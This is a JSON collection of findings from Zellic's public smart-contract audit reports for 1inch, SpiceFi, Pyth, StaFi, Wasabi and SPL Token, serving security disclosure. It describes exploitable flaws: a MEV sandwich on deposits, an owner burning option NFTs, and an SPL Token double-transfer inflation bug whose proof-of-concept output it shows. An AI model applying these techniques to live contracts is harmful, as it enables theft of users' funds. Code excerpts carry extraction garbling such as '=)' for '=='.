Farming Audit Report.pdf" + }, + { + "title": "3.5 Some methods are not exposed by their interface", + "labels": [ + "Zellic" + ], + "body": "Target: IFarm, IFarmingPool Severity: Low : Informational Category: Code Maturity Likelihood: n/a The interfaces IFarm and IFarmingPool do not expose the following methods from their concrete implementation: IFarm.sol startFarming (Farm.sol) IFarmingPool.sol startFarming decimals (FarmingPool.sol) (FarmingPool.sol) The interfaces also do not expose the onlyOwner setDistributor function, but we as- sume this is part of the intended design. Consumers of this interface will not be able to call the unexposed methods. If this is not the intended design, add the methods to the interface declarations. The issue was fixed by 1inch in commit 29bf4aed. Zellic 1inch Farming", + "html_url": "https://github.com/Zellic/publications/blob/master/1inch Farming Audit Report.pdf" + }, + { + "title": "3.2 Slippage/manipulated exchange rates when depositing", + "labels": [ + "Zellic" + ], + "body": "Target: Drops4626 Category: Business Logic Likelihood: High Severity: Medium : Medium Certain vaults contain logic to exchange deposited assets (e.g., WETH) to the vault asset (CEther). The amount of CEther received by the mint called in deposit is determined by the current exchange rate that can be manipulated by minting and redeeming. A MEV user could use these techniques to sandwich a large deposit and extract/steal the deposit of a vault user by following the actions below: The MEV user mints a lot of cETH. The large deposit goes through, but the vault user receives few cETH due to the bad exchange rate. The MEV user redeems the cETH getting back more ETH than they started with, essentially eating into the deposit of the vault user. The deposits/withdrawals of vault users are at risk of being stolen. Add deposit call interfaces that allow users to specifiy minimum exchange rates. Spice Finance Inc. acknowledged and addressed the issue in commit 0d49a0b2 by implementing a slippage limited interface in the SpiceFi4626 contract through which users are supposed to interact with directly. We note that slippage protection is not implemented in the underlying Bend4626 and Drops4626 contracts, which are still po- tentially vulnerable if used directly; our understanding is that those contracts are not intended to be called directly. Zellic Spice Finance Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/SpiceFi Vaults - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Potentially uninitialized implementation contracts", + "labels": [ + "Zellic" + ], + "body": "Target: Bend4626, Drops4626, SpiceFi4626, Vault Category: Coding Mistakes Likelihood: Informational Severity: Medium : Medium Implementation contracts designed to be called by a proxy should always be initial- ized to prevent potential takeovers. If an implementation contract is not initialized, an attacker could be able to initialize it and perform a selfdestruct, deleting the implementation contract and causing a denial of service. Ensure the implementation contract is always initialized. Following official OpenZeppelin documentation, this can be accomplished by defining a constructor on the contract: ///)) @custom:oz-upgrades-unsafe-allow constructor constructor() { _disableInitializers(); } For more information, refer to these openZeppelin documents. This was remediated in commit 5dfead1b by adding _disableInitializers Zellic Spice Finance Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/SpiceFi Vaults - Zellic Audit Report.pdf" + }, + { + "title": "3.4 MaxWithdraw does not account for fees", + "labels": [ + "Zellic" + ], + "body": "Target: SpiceFi4626 Category: Business Logic Likelihood: Low Severity: Low : Low In vault Spice4626, the check for maximum withdrawals can pass but the call to _wit hdraw can still fail because fees are not accounted for. function maxWithdraw(address owner) public view override returns (uint256) { ...)) return paused() ? 0 : _convertToAssets( balanceOf(owner), MathUpgradeable.Rounding.Down ).min(balance); } The code above returns the maximum between the owner\u2019s balance and the liquid capital of the vault. In the case where a user specifies a withdrawal equal to the avail- able vault balance, this check passes; however, later in _withdraw, all of the available capital is used in the call to super.withdraw, but then fee transfers are done, which would revert due to the lack of capital in the vault. function _withdraw(...))) internal override { address feesAddr1 = getRoleMember(ASSET_RECEIVER_ROLE, 0); address feesAddr2 = getRoleMember(SPICE_ROLE, 0); uint256 fees = _convertToAssets(shares, MathUpgradeable.Rounding.Down) - assets; uint256 fees1 = fees.div(2); /) Uses up entire available capital super._withdraw(caller, receiver, owner, assets, shares); /) These calls will fail due to lack of capital. SafeERC20Upgradeable.safeTransfer( IERC20MetadataUpgradeable(asset()), Zellic Spice Finance Inc. feesAddr1, fees1 ); SafeERC20Upgradeable.safeTransfer( IERC20MetadataUpgradeable(asset()), feesAddr2, fees.sub(fees1) ); } In the edge case of a user having a balance corresponding to an amount higher than the capital available in the vault and would like to withdraw close to the maximum possible withdrawal, the withdrawal will revert with an incorrect message. Other smart contracts building on top of SpiceFi will receive incorrect quantities for maxWit hdraws resulting in reverts. Account for the fees in maxWithdraw. This was remediated in commit 37e0d2db by accounting for fees. Zellic Spice Finance Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/SpiceFi Vaults - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Potential rounding error", + "labels": [ + "Zellic" + ], + "body": "Target: SpiceFi4626 Category: Coding Mistakes Likelihood: Low Severity: Low : Low The SpiceFi4626:)maxDeposit function computes the maximum amount of assets a user should be allowed to deposit, starting from the maximum amount of shares they are allowed to receive in order to not go above the maximum supply. The conver- sion between shares and assets is performed by rounding up, potentially leading to a slightly higher-than-expected limit. function maxDeposit(address) public view override returns (uint256) { return paused() ? 0 : _convertToAssets( maxTotalSupply - totalSupply(), MathUpgradeable.Rounding.Up ); } It might be possible to deposit slightly more assets than intended into the contract. Round down the conversion from shares to assets. This was remediated in commit bced4a44 by rounding down. Zellic Spice Finance Inc.", + "html_url": "https://github.com/Zellic/publications/blob/master/SpiceFi Vaults - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Possible usage of stale price information", + "labels": [ + "Zellic" + ], + "body": "Target: Solana attester, Ethereum and Terra consumer contracts Category: Business Logic Likelihood: High Severity: Critical : Critical The following four separate issues when chained together lead to a critical outcome: attest performs insufficient sanity checks The attest function (from attest.rs) of the Solana attester contract does not enforce any restriction on the publication timestamp of the price being attested. Therefore, it could be leveraged to publish out of date pricing information when the prices have not been updated for a while. Ethereum contract performs insufficient sanity checks The Ethereum contract consuming price attestations does not perform any sanity check on the price publication timestamp. A last-resort check is performed in queryP- riceFeed on the price attestation timestamp. This check is not particularly effective as the attestation timestamp represents when the attestation program attested the price information through Wormhole, not when the price itself was published. Terra contract performs insufficient sanity checks Similar to the ethereum contract, the terra contract does not perform any validation against the price publication timestamp. A check is performed in the query_price_info method against the attestation timestamp but as stated previously, it is not sufficient to determine the liveliness of the pricing data, but merely the liveness of the stream of pricing information. Zellic Pyth Data Foundation Developer documentation misses important safety notice The documentation does not recommend the user to check the publication timestamp when retrieving a price, significantly increasing the likelihood of an unsafe usage of the API. In addition, users cannot retrieve publication timestamp from IPyth interface but instead have to use queryPriceFeed, which is not a part of IPyth. Stale price accounts can be passed to the attester program and reach Pyth users on other blockchain platforms. After discussion with the Pyth team, this category of pub- lishing stale pricing information is considered critical. Pyth users are unlikely to have implemented sanity checks that prevent them from using outdated information since there\u2019s no recommendation to do so in Pyth documentation, and would therefore use the stale data. Recommendation Regarding the attester program: refuse to attest outdated prices, for instance by checking the publish_time field of the PriceAttestation struct Regarding the Ethereum smart contract: If possible, add sanity checks on the price publication timestamp by default to all public facing functions Otherwise, expand IPyth to expose the information required to implement those sanity checks, and clearly document the need for it Regarding the Terra smart contract: Implement sanity checks on the price publication timestamp by default for all public facing functions The finding has been acknowledged by Pyth Data Foundation. Their official response is reproduced below: Pyth Data Association acknowledges the finding and developed a patch for this issue: https://github.com/pyth-network/pyth2wormhole/pull/194 Zellic Pyth Data Foundation https://github.com/pyth-network/pyth2wormhole/pull/196 Zellic Pyth Data Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/Pyth2Wormhole - Zellic Audit Report.pdf" + }, + { + "title": "3.2 IPyth interface and implementation do not follow the rec- ommended best practices", + "labels": [ + "Zellic" + ], + "body": "Target: Pyth2Wormhole ethereum contract Category: Code Maturity Likelihood: N/A Severity: Low : Low The documentation for the IPyth public interface suggest the following best practices: Use products with at least 3 active publishers Check the status of the product Use the confidence interval to protect your users from price uncertainty The first recommendation cannot be followed using only the functions exposed by I- Pyth, and the documentation does not elaborate on what additional functions should be used. IPyth exposes the following three functions: function getCurrentPrice(bytes32 id) external view returns (PythStructs. Price memory price); function getEmaPrice(bytes32 id) external view returns (PythStructs. Price memory price); function getPrevPriceUnsafe(bytes32 id) external view returns ( PythStructs.Price memory price, uint64 publishTime); PythStructs.Price does not contain information about how many publishers con- tributed to the given price. A user could still call queryPriceFeed (a public function which is not part of IPyth). This function returns an instance of PythStructs.PriceFeed, a struct that contains fields that can hold the required information. However, internally the contract does not copy this information from the price attes- tation. function newPriceInfo(PythInternalStructs.PriceAttestation memory pa) private view returns (PythInternalStructs.PriceInfo memory info) { info.attestationTime = pa.timestamp; /) [code shortened for brevity] Zellic Pyth Data Foundation /) These aren't sent in the wire format yet info.priceFeed.numPublishers = 0; info.priceFeed.maxNumPublishers = 0; return info; } This comment appears to be incorrect with respect to the attestation program re- viewed by Zellic. The attest function creates instances of the PriceAttestation struct using PriceAttestation:)from_pyth_price_bytes, which does set the num_publishers and max_num_publishers fields. Consumers of Pyth data on Ethereum might not follow the documented best practices and use unreliable price information. Recommendation Modify the IPyth interface to provide a way for Pyth users to read how many publishers were aggregated to compute a given price. Modify newPriceInfo to read from the price attestation the number of publishers that contributed to the price The finding has been acknowledged by Pyth Data Foundation. Their official response is reproduced below: Pyth Data Association acknowledges the finding, but doesn\u2019t believe it has secu- rity implications. However, we may deploy a bug fix to address it. Zellic Pyth Data Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/Pyth2Wormhole - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Limited test-suite and code coverage", + "labels": [ + "Zellic" + ], + "body": "Target: Pyth2Wormhole attester contract Category: Code Maturity Likelihood: N/A Severity: Low : Low Pyth Solana attester has only one test for the contract main function, attest (located in pyth2wormhole/client/tests/test_attest.rs). A comprehensive testsuite covering all functionality is very effective in discovering existing bugs and prevent future ones. Recommendation We highly recommend Pyth to develop a comprehensive test-suite with maximum code coverage. The finding has been acknowledged by Pyth Data Foundation. Their official response is reproduced below: Pyth Data Association acknowledges the finding, but doesn\u2019t believe it has secu- rity implications. However, we may deploy a bug fix to address it. Zellic Pyth Data Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/Pyth2Wormhole - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The migrate function can be recalled", + "labels": [ + "Zellic" + ], + "body": "Target: StakeManager Category: Business Logic Likelihood: Medium Severity: Medium : Medium The migrate function is responsible for migrating the state of the StakeManager con- tract when it is bridged to the Ethereum Mainnet. However, the current implementa- tion lacks proper checks, allowing for the _rate to be set to zero, which would allow the function to be called again. function migrate( address _poolAddress, uint256 _validatorId, uint256 _govDelegated, uint256 _bond, uint256 _unbond, uint256 _rate, uint256 _totalRTokenSupply, uint256 _totalProtocolFee, uint256 _era ) external onlyAdmin { require(rate =) 0, \u201dalready migrate\u201d); require(bondedPools.add(_poolAddress), \u201dalready exist\u201d); validatorIdsOf[_poolAddress].add(_validatorId); poolInfoOf[_poolAddress] = PoolInfo( { bond: _bond, unbond: _unbond, active: _govDelegated }); rate = _rate; totalRTokenSupply = _totalRTokenSupply; Zellic StaFi Protocol totalProtocolFee = _totalProtocolFee; latestEra = _era; eraRate[_era] = _rate; } In addition to the obvious impact of the contract being migrated with incorrect values, if the _rate in the migrate function is set to zero, it opens the possibility of the function being called again, potentially causing unintended consequences for the contract. The limited severity in this case is due to the fact that the function can only be called by the contract\u2019s admin, and the admin is a trusted entity. We recommend ensuring that all parameters are comprehensively checked before the migration is allowed to proceed. One way to do this is to implement input valida- tion checks in the migrate function to ensure that only valid and expected values are accepted for migration. Furthermore, we highly recommend to explicitly check the _rate parameter to ensure that it is not set to zero. This issue has been acknowledged by StaFi Protocol, and a fix was implemented in commit 1f980d34. Zellic StaFi Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/StaFi - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Checks to limit parameters missing", + "labels": [ + "Zellic" + ], + "body": "Target: StakeManager Category: Code Maturity Likelihood: Medium Severity: Low : Low Both the init and setParams, migrate functions are used for modifying the contract\u2019s most important state variables, such as the _eraSeconds, the _minStakeAmount, and more. However, both functions lack proper checks to ensure that the parameters are within acceptable ranges or that they are not set to zero. For example, despite the eraSeconds being checked against zero in the setParams func- tion, there is no upper bound check to ensure that the _eraSeconds is not set to a value that is too large to be handled by the contract. function setParams( uint256 _unstakeFeeCommission, uint256 _protocolFeeCommission, uint256 _minStakeAmount, uint256 _unbondingDuration, uint256 _rateChangeLimit, uint256 _eraSeconds, uint256 _eraOffset ) external onlyAdmin { unstakeFeeCommission = _unstakeFeeCommission =) 1 ? unstakeFeeCommission : _unstakeFeeCommission; protocolFeeCommission = _protocolFeeCommission =) 1 ? protocolFeeCommission : _protocolFeeCommission; minStakeAmount = _minStakeAmount =) 0 ? minStakeAmount : _minStakeAmount; rateChangeLimit = _rateChangeLimit =) 0 ? rateChangeLimit : _rateChangeLimit; eraSeconds = _eraSeconds =) 0 ? eraSeconds : _eraSeconds; eraOffset = _eraOffset =) 0 ? eraOffset : _eraOffset; if (_unbondingDuration > 0) { unbondingDuration = _unbondingDuration; emit SetUnbondingDuration(_unbondingDuration); } } Zellic StaFi Protocol The lack of checks on the parameters may result in the contract being set to an invalid state or a state that is not expected by the contract\u2019s users. For example, setting the _eraSeconds to a very large value may result in the contract being unable to handle eras properly, since it would take too long for the contract to progress to the next era. We recommend ensuring that all parameters are comprehensively checked, in a transparent way. One way to do this is to implement input validation checks in the setParams, migrate and init functions to ensure that only valid and expected values are accepted for modification. This issue has been acknowledged by StaFi Protocol, and fixes were implemented in the following commits: 1f980d34 c2053dc3 Zellic StaFi Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/StaFi - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Solidity versioning permits underflow behavior", + "labels": [ + "Zellic" + ], + "body": "Target: All Category: Coding Mistakes Likelihood: Low Severity: Medium : High The contract specifies its version to be pragma solidity >)0.4.25 <0.9.0. This means the contract can be compiled with a version of Solidity that does not perform checked math. It is worth noting that while previous versions of Solidity (up to and including 0.7.x) did not automatically check for overflow and underflow, it was still possible to manually check for and handle such scenarios. However, in the ETH and ERC20 Wasabi pools, balance subtractions such as balance -= optionData.strikePrice were not properly guarded against underflow scenarios, which could result in a user\u2019s available balance being artificially inflated. Starting with Solidity version 0.8.x, the compiler performs automatic overflow and underflow checks, helping to prevent these kinds of issues. Therefore, it is recom- mended to use the latest version of Solidity and follow best practices for safe arith- metic operations to avoid potential issues with underflow and overflow. We recommend version locking to 0.8.x version. This issue has been acknowledged by Wasabi, and a fix was implemented in commit 63ab20b9. Zellic Wasabi", + "html_url": "https://github.com/Zellic/publications/blob/master/Wasabi - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Usage of transfer to send ETH can prevent receiving", + "labels": [ + "Zellic" + ], + "body": "Target: ETHWasabiPool Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The protocol employs Solidity\u2019s .transfer method to send Ethereum (ETH) to recipi- ents. However, .transfer is limited to a hardcoded gas amount of 2,300, which may not be sufficient for contracts with logic in their fallback function. Consequently, these contracts may revert during the transaction. Additionally, the use of a hardcoded gas stipend may not be compatible with future changes to Ethereum gas costs, posing a potential risk to the protocol\u2019s long-term viability. function withdrawETH(uint256 _amount) external payable onlyOwner { if (availableBalance() < _amount) { revert InsufficientAvailableLiquidity(); } address payable to = payable(_msgSender()); to.transfer(_amount); emit ETHWithdrawn(_amount); } The withdrawETH function sends ETH to the designated recipient (msg.sender) using the to.transfer(_amount) method. However, if the recipient is a contract that incurs computational costs exceeding 2,300 gas upon receiving ETH, it will be unable to receive the funds. This poses a risk of failed transactions for contracts that have high gas costs, potentially leaving the designated recipient without access to their funds. We suggest using the .call method to send ETH and verifying the return value to confirm a successful transfer. Solidity by Example offers a helpful guide on choosing the appropriate method for sending ETH, which can be found here: https://solidity- by-example.org/sending-ether/. Furthermore, since the withdrawETH function does not intend to receive ETH, the paya ble keyword can be removed. Zellic Wasabi This issue has been acknowledged by Wasabi, and a fix was implemented in commit 01ee7727. Zellic Wasabi", + "html_url": "https://github.com/Zellic/publications/blob/master/Wasabi - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Protocol does not check return value of ERC20 swaps", + "labels": [ + "Zellic" + ], + "body": "Target: WasabiPoolFactory, ERC20WasabiPool Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The ERC20 standard requires that transfer operations return a boolean success value indicating whether the operation was successful or not. Therefore, it is important to check the return value of the transfer function before assuming that the transfer was successful. This helps ensure that the transfer was executed correctly and helps avoid potential issues with lost or mishandled funds. If the underlying ERC20 token does not revert on failure, the protocol\u2019s internal ac- counting will record failed transfer operations as successful. We recommend implementing one of the following solutions to ensure that ERC20 transfers are handled securely: 1. Utilize OpenZeppelin\u2019s SafeERC20 transfer methods, which provide additional checks and safeguards to ensure the safe handling of ERC20 transfers. 2. Strictly whitelist ERC20 coins that do not return false on failure and revert. This will ensure that only safe and reliable ERC20 tokens are used within the protocol. In general, it is important to exercise caution when integrating third-party tokens into the protocol. Tokens with hooks and atypical behaviors of the ERC20 standard can present security vulnerabilities that may be exploited by attackers. We recommend thoroughly researching and reviewing any tokens that are considered for integration and performing a comprehensive security review of the entire system to identify and mitigate any potential vulnerabilities. This issue has been acknowledged by Wasabi, and a fix was implemented in commit 0b7bffe6. Zellic Wasabi", + "html_url": "https://github.com/Zellic/publications/blob/master/Wasabi - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Centralization risks In the following three findings, the audit has identified centralization risks that users of the protocol should be aware of. Although the impact of these risks is currently mitigated by Wasabi\u2019s role as the deployer and owner of the contracts, if the owner\u2019s keys were to be compromised or the owner becomes malicious, the impact on the protocol could be significant. To address this risk and increase user confidence and security, we recommend imple- menting measures to remove trust from the owner. Our recommendations are aimed at reducing centralization and increasing the resilience of the protocol. It\u2019s important to note that custody of private keys is crucial for maintaining control over the protocol. We recommend using a multisig wallet with multiple signers to enhance security. Zellic Wasab", + "labels": [ + "Zellic" + ], + "body": "3.5 Centralization risks In the following three findings, the audit has identified centralization risks that users of the protocol should be aware of. Although the impact of these risks is currently mitigated by Wasabi\u2019s role as the deployer and owner of the contracts, if the owner\u2019s keys were to be compromised or the owner becomes malicious, the impact on the protocol could be significant. To address this risk and increase user confidence and security, we recommend imple- menting measures to remove trust from the owner. Our recommendations are aimed at reducing centralization and increasing the resilience of the protocol. It\u2019s important to note that custody of private keys is crucial for maintaining control over the protocol. We recommend using a multisig wallet with multiple signers to enhance security. Zellic Wasabi", + "html_url": "https://github.com/Zellic/publications/blob/master/Wasabi - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Factory update logic of option NFT enables owner to steal funds", + "labels": [ + "Zellic" + ], + "body": "Target: WasabiOption Category: Business Logic Likelihood: Low Severity: High : Low Each existing option corresponds to a WasabiOption NFT. For access control pur- poses, the contract stores the address of the corresponding WasabiPoolFactory. The factory provides an interface for pools to mint new option NFTs. However, it is impor- tant to note that the factory address can be upgraded in a way that allows the owner to potentially harm both individual option holders and all holders. Specifically, to remove existing positions, the owner can first call setFactory on the associated option NFT. This gives them access to the burn function: function burn(uint256 _optionId) external { require(msg.sender =) factory, \"Only the factory can burn tokens\"); _burn(_optionId); } After they burn a given option NFT, the owner can use setFactory to replace the cor- rect factory address and resume pool mechanics. When the owner burns option NFTs, it effectively denies their holders the right to exercise the option they purchased. Since ownership of these NFTs is checked during execution, it is crucial to ensure that the holder\u2019s rights are respected and they can exercise their options as intended. function validateOptionForExecution(uint256 _optionId, uint256 _tokenId) private { require(optionIds.contains(_optionId), \"WasabiPool: Option NFT doesn't belong to this pool\"); require(_msgSender() =) optionNFT.ownerOf(_optionId), \"WasabiPool: Only the token owner can execute the option\"); WasabiStructs.OptionData memory optionData = options[_optionId]; Zellic Wasabi require(optionData.expiry >) block.timestamp, \"WasabiPool: Option has expired\"); if (optionData.optionType =) WasabiStructs.OptionType.CALL) { validateAndWithdrawPayment(optionData.strikePrice, \"WasabiPool: Strike price needs to be supplied to execute a CALL option\"); } else if (optionData.optionType =) WasabiStructs.OptionType.PUT) { require(_msgSender() =) nft.ownerOf(_tokenId), \"WasabiPool: Need to own the token to sell in order to execute a PUT option\"); } } Further, the owner can prevent all holders from exercising options simply by fixing the factory address at a different value. Executing an option requires it to be successfully burned, and the factory loses the right to do so: function clearOption(uint256 _optionId, uint256 _tokenId, bool _executed) internal { WasabiStructs.OptionData memory optionData = options[_optionId]; if (optionData.optionType =) WasabiStructs.OptionType.CALL) { if (_executed) { /) Sell to executor, the validateOptionForExecution already checked if strike is paid nft.safeTransferFrom(address(this), _msgSender(), optionData.tokenId); tokenIds.remove(optionData.tokenId); } if (tokenIdToOptionId[optionData.tokenId] =) _optionId) { delete tokenIdToOptionId[optionData.tokenId]; } } else if (optionData.optionType =) WasabiStructs.OptionType.PUT) { if (_executed) { /) Buy from executor nft.safeTransferFrom(_msgSender(), address(this), _tokenId); payAddress(_msgSender(), optionData.strikePrice); } } options[_optionId].active = false; factory.burnOption(_optionId); } Zellic Wasabi We recommend that Wasabi implement one of the following solutions: Prevent factory upgrades in the WasabiOption NFT, or Support multiple factories, allowing them to be added but not removed. This would also require more granular access control (specifically, storing which NFTs a given factory is permitted to burn). This issue has been acknowledged by Wasabi, and a fix was implemented in commit 1aca0ac1. Zellic Wasabi", + "html_url": "https://github.com/Zellic/publications/blob/master/Wasabi - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Pool toggling functionality may allow factory owner to lock exercising of options", + "labels": [ + "Zellic" + ], + "body": "Target: WasabiFactory Category: Business Logic Likelihood: Low Severity: High : Low The WasabiFactory contract allows its owner to toggle pools. function togglePool(address _poolAddress, bool _enabled) external onlyOwner { require(poolAddresses[_poolAddress] !) _enabled, 'Pool already in same state'); poolAddresses[_poolAddress] = _enabled; } This prevents them from burning options: function burnOption(uint256 _optionId) external { require(poolAddresses[msg.sender], \"Only enabled pools can burn options\"); options.burn(_optionId); } When pools are disabled, the existing options associated with those pools become unexercisable. This effectively allows the owner to prevent option holders from utiliz- ing the options they have purchased. Disabling pools is a reasonable functionality; however, it should not have an impact on the options that have already been issued. One possible solution would be to allow disabled pools to burn options but not mint new ones. Zellic Wasabi This issue has been acknowledged by Wasabi, and a fix was implemented in commit 28e1245c. Zellic Wasabi", + "html_url": "https://github.com/Zellic/publications/blob/master/Wasabi - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Missing check in process_transfer leading to inflationary bug", + "labels": [ + "Zellic" + ], + "body": "Target: Confidential Transfer Extension Category: Coding Mistakes Likelihood: High Severity: Critical : Critical Transfers between confidential accounts require a zero knowledge (ZK) argument prov- ing that the source account balance is greater than the transferred amount and that the transferred amount is not negative. Confidential token transfer transactions consist of two instructions. The first required instruction contains a cryptographic ZK argument that proves the validity of the trans- fer without disclosing any information about the balances involved or the transferred amount. The other instruction performs the computations and updates the account state to actually perform the transfer. The ZK argument instruction is processed by a special built-in program that verifies its validity, reverting if validation fails. More specifically, the ZK argument is an equation in which some variables have values that correspond to the state of the accounts involved in the transaction. The other instruction is processed by the token program. The program verifies that the instruction containing the ZK argument exists and that its inputs are consistent with the state of the involved accounts, tying the ZK argument to the state of the blockchain. The token program does not correctly verify all the ZK argument inputs. One of the fields associated with the ZK argument, new_source_ciphertext, is ignored. This field contains the expected value of the source account encrypted balance after the trans- fer is performed. The lack of this check implies that the source account encrypted balance is not validated. This effectively decouples the ZK argument from the bal- ance of the source account. A malicious transaction constructed to exploit the issue allows to perform repeated transfers, totalling an amount bigger than the source account encrypted balance. We created a proof-of-concept exploit by constructing a transaction with multiple Zellic Solana Foundation instructions performing a transfer, all referencing the same instruction containing the ZK argument. The source account encrypted balance underflows and becomes invalid, but the des- tination account encrypted pending balance is credited multiple times, creating tokens out of nothing and inflating the supply. The supply inflation will not be reflected by the information stored in the mint account associated with the token. The destination account is able to apply the pending balance and make use of the unfairly obtained amount normally. The PoC would perform the following operations: [!] Starting double transfer PoC [!] Current balances: Alice: - available balance: 42 - pending balance: 0 Bob: - available balance: 0 - pending balance: 0 [!] Running malicious transaction. Instructions: - Instruction 0: TransferWithFeeData instruction - amount: 42 - Instruction 1: ConfidentialTransferInstruction:)Transfer instruction - Instruction 2: ConfidentialTransferInstruction:)Transfer instruction (repeated) [!] Current balances: Alice: could not decrypt balances Bob: - available balance: 0 - pending balance: 84 [!] Applying Bob pending balance [!] Current balances: Alice: could not decrypt balances Bob: - available balance: 84 - pending balance: 0 Zellic Solana Foundation Ensure that the source account encrypted balance corresponds to the expected amount contained in the ZK argument (the new_source_ciphertext field of the TransferData struct). The Solana Foundation team was alerted of this finding while the audit was ongo- ing. The team quickly confirmed the issue and submitted a remediation patch for our review. The patch correctly implements the suggested remediation. Pull request #3867 fixes the issue following our recommendation. The PR head com- mit c7fbd4b was merged in the master branch on December 3, 2022. The confidential token transfer extension was not used at the time the audit was con- ducted; therefore, no funds were at risk. Zellic Solana Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/SPL Token - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Missing check in process_withdraw potentially leading to in- flationary bug", + "labels": [ + "Zellic" + ], + "body": "Target: Confidential Transfer Extension Category: Coding Mistakes Likelihood: High Severity: Critical : Critical Withdrawals from a token account confidential balance to its cleartext balance require a zero knowledge (ZK) argument that proves that the account encrypted balance is greater than the withdrawn amount. Confidential withdraw transactions consist of two instructions. One contains the afore- mentioned ZK argument and is processed by a special built-in program that verifies its validity, reverting the transaction in case of failure. The other instruction, processed by SPL Token 2022, performs the operations on the balances to actually accomplish the withdrawal. The token program verifies that the instruction containing the ZK ar- gument exists and that its inputs are consistent with the state of the involved accounts, tying the ZK argument to the state of the blockchain. The token program does not correctly verify that the public key associated with the ZK argument corresponds to the public key associated to the source account encrypted balance. This potentially allows an attacker to forge a ZK argument asserting the va- lidity of any desired withdrawal amount, regardless of the actual encrypted balance of the source account. Refer to 5 for more information on the equations implementing the ZK argument. An attacker might be able to exploit this issue and withdraw an arbitrary amount of tokens to their cleartext balance, creating tokens from nothing and inflating the supply. Note that the supply inflation will not be reflected by the information stored in the mint account associated with the token. The plaintext balance is spendable, exactly like any other regular plaintext balance on a legitimate account. We did not fully confirm exploitability of this issue, but the team agreed that it is likely possible to forge a malicious ZK equality argument. Zellic Solana Foundation Ensure that the public key associated with the source account corresponds to the pub- lic key associated with the ZK argument (the pubkey field of the WithdrawData struct). The Solana Foundation team was alerted of this finding while the audit was ongoing. The team quickly helped confirm the issue. Pull request #3768 fixes the issue following our recommendation. The PR head com- mit 94b912a was merged in the master branch on October 27, 2022. The confidential token transfer extension was not used at the time the audit was con- ducted; therefore, funds were not at risk. Zellic Solana Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/SPL Token - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Missing public key check in EmptyAccount leading to defla- tionary bug", + "labels": [ + "Zellic" + ], + "body": "Target: Confidential Transfer Extension Category: Coding Mistakes Likelihood: Low Severity: High : Low A token account can only be closed if it has a zero balance. This applies to the regu- lar cleartext balance as well as to the balances managed by the confidential transfer extension. Since the latter balances are encrypted, a special instruction called Empt yAccount has to be executed before closing the account, which enables closing the account after verifying a zero knowledge (ZK) argument that proves the account bal- ance is zero. Similarly to other confidential token operations, a ZK argument has to be embedded in an instruction in the same transaction that invokes EmptyAccount. The processor for EmptyAccount verifies that the ZK argument exists and that it is correctly tied to the current state of the blockchain. The function processing the EmptyAccount instruction does not check that the pub- lic key associated with the ZK argument corresponds to the public key of the token account to be closed. This might allow an attacker to forge a ZK argument, falsely showing the account balance to be zero. By closing an account with a nonzero balance, an attacker would be able to decrease the circulating supply without causing an update to the supply information stored in the mint account. The attacker would have to give up their balance; therefore, it is difficult to imagine an incentive to perform such an attack. Furthermore, the same effect could be obtained by simply keeping the tokens in the attacker\u2019s account. For this reason, this issue is classified as low likelihood and low impact. Ensure that the public key associated with the proof corresponds to the public key of the account being closed. Zellic Solana Foundation Pull request #3767 fixes the issue following our recommendation. The PR head com- mit d6a72eb was merged in the master branch on October 27, 2022. Zellic Solana Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/SPL Token - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Confidential transfer amounts information leak via transfer fees", + "labels": [ + "Zellic" + ], + "body": "Target: Confidential Transfer Extension Category: Business Logic Likelihood: N/A Severity: Low : Low Tokens managed by SPL Token 2022 can be configured to require a transfer fee con- sisting of a percentage of the transferred amount (with the possibility to cap the max- imum fee at a fixed amount). This configuration also applies to confidential transfers, relying on zero-knowledge cryptographic arguments to prove the validity of the en- crypted balances being manipulated. Information about the value of every transfer is leaked to the owner of the keys con- trolling the transfer fees for the mint. The owner of the private key associated with management of the transfer fees can gather information on the value of confidential transfers. Since the key is able to de- crypt the fee balance before and after the transfer has occurred, the fee amount for every transfer can be obtained. If the fee is lower than the cap amount, then the exact transferred amount can be inferred. Otherwise, the transferred amount is guaranteed to be at least as big as the minimum amount that would require the maximum fee. Completely blinding the transfer fee amounts appears to be challenging and likely to require a significant engineering effort. If this information leak is accepted, we suggest to inform SPL token developers and users of this privacy pitfall of confidential transfers involving fees. Pull request #3773 addresses the issue by adding more documentation on the confi- dential transfer extension code, acknowledging the potential information leak if a con- fidential transfer with fees is performed. The PR head commit 1c3af5e was merged in the master branch on October 28, 2022. Zellic Solana Foundation", + "html_url": "https://github.com/Zellic/publications/blob/master/SPL Token - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Confidential transfer fees\u2019 withdrawal instructions ignore constraints", + "labels": [ + "Zellic" + ], + "body": "Target: Confidential Transfer Extension Category: Coding Mistakes Likelihood: Low Severity: Low : Low The functions handling the confidential transfer instructions WithdrawWithheldTokensF romAccounts and WithdrawWithheldTokensFromMint ignore some of the restrictions that can be applied to confidential token accounts: allow_balance_credits: An account can be configured to deny credits to its pending balance. pending_balance_credit_counter: This value should be checked not to be greater than maximum_pending_balance_credit_counter. The instructions also do not in- crement pending_balance_credit_counter. We note that these instructions directly add the entire value of the withheld balance to the 